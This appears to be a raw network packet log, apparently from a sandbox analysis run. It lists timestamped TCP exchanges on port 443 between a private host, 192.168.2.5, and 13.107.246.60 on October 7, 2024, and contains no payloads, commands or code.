Oct 7, 2024 17:22:53.013406038 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.013433933 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.013768911 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.013776064 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.052716970 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.053253889 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.053284883 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.053715944 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.053723097 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.067608118 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.068038940 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.068072081 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.068459034 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.068464994 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.105503082 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.105582952 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.105662107 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.105870962 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.105890036 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.105905056 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.105911016 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.108428955 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.108716965 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.108757019 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.108784914 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.108831882 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.108870983 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.109128952 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.109149933 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.109160900 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.109167099 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.110042095 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.110053062 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.111377954 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.111428022 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.111500025 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.111612082 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.111622095 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.156893969 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.156928062 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.156972885 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.157007933 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.157047033 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.157217026 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.157231092 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.157241106 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.157244921 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.159773111 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.159791946 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.159884930 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.160021067 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.160034895 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.164630890 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.164684057 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.164756060 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.164853096 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.164871931 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.164885998 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.164891958 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.167041063 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.167047977 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.167121887 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.167242050 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.167249918 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.600831985 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.601402044 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.601438046 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.601807117 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.601814032 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.697871923 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.697942972 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.698055029 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.698105097 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.698147058 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.698415995 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.698448896 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.698462009 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.698468924 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.701498032 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.701561928 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.701658964 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.701827049 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.701843977 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.718514919 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.718976974 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.718992949 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.719501972 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.719506979 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.723347902 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.723830938 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.723855972 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.724185944 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.724190950 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.798058033 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.799186945 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.799211025 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.799658060 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.799664974 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.842626095 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.843508005 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.843532085 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.843543053 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.843565941 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.843622923 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.843821049 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.843838930 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.843847990 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.843852997 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.843974113 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.843980074 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.846848965 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.846901894 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.847148895 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.847148895 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.847187042 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.882522106 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.883048058 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.883184910 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.883218050 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.883235931 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.883250952 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.883255959 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.885668039 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.885744095 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.885823965 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.885960102 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.885992050 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.897387981 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.897444963 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.897588968 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.897608042 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.897618055 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.897643089 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.897649050 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.900099039 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.900130987 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.900213003 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.900317907 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.900341988 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.943752050 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.943780899 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.943837881 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.943854094 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.944011927 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.944096088 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.944108963 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.944118977 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.944123983 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.947360992 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.947402000 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:53.947482109 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.947721958 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:53.947748899 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.563616991 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.564279079 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:54.564306974 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.564887047 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:54.564893961 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.985692024 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.985910892 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.985990047 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:54.986082077 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:54.986104012 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.986115932 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:54.986121893 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.989325047 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:54.989375114 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:54.989470959 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:54.989629030 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:54.989645958 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.075803995 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.076298952 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.076600075 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.076625109 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.076837063 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.076881886 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.077292919 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.077305079 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.077315092 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.077320099 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.078247070 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.078511000 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.078550100 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.078579903 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.078749895 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.078758001 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.079068899 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.079081059 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.079082966 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.079087019 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.174351931 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.174607038 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.174650908 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.174659967 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.174799919 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.174799919 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.174799919 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.174843073 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.174860954 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.175998926 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.176048040 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.176054001 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.176078081 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.176126003 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.176170111 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.176170111 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.176187038 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.176214933 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.176244974 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.176254988 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.176659107 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.176666021 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.176680088 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.176685095 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.177162886 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.177323103 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.177386045 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.177444935 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.177463055 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.177486897 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.177501917 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.178878069 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.178914070 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.178975105 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.179200888 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.179214954 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.179348946 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.179358006 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.179409027 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.179672956 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.179682016 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.180454969 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.180500031 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.180586100 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.180632114 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.180676937 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.180710077 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.180722952 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.180737019 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.180830956 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.180846930 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.627701044 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.628309011 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.628372908 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.628930092 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.628940105 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.746440887 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.746515036 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.746578932 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.746799946 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.746834040 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.746850014 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.746856928 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.749865055 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.749911070 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.749989986 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.750106096 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.750118971 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.836364031 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.836795092 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.836817980 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.837223053 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.837228060 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.838515997 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.838840961 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.838857889 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.839211941 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.839216948 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.935913086 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.936165094 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.936219931 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.936265945 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.936292887 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.936532974 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.936553001 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.936563015 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.936577082 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.939225912 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.939280987 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.939357996 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.939482927 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.939497948 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.939718008 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.939776897 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.939821005 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.939898968 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.939915895 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.939927101 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.939932108 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.941684961 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.941705942 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:55.941771984 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.941873074 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:55.941885948 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.068124056 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.068618059 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.068645954 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.069047928 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.069051981 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.086169004 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.086500883 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.086534023 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.086860895 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.086864948 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.162715912 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.162872076 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.162950039 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.163017035 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.163038015 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.163060904 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.163065910 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.165364027 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.165460110 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.165543079 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.165657043 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.165677071 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.214699030 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.214771032 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.214898109 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.214920998 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.214950085 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.215029955 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.215046883 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.215060949 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.215065956 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.217303038 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.217365026 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.217443943 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.217575073 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.217592955 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.355664015 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.356147051 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.356187105 CEST	443	49941	13.107.246.60	192.168.2.5
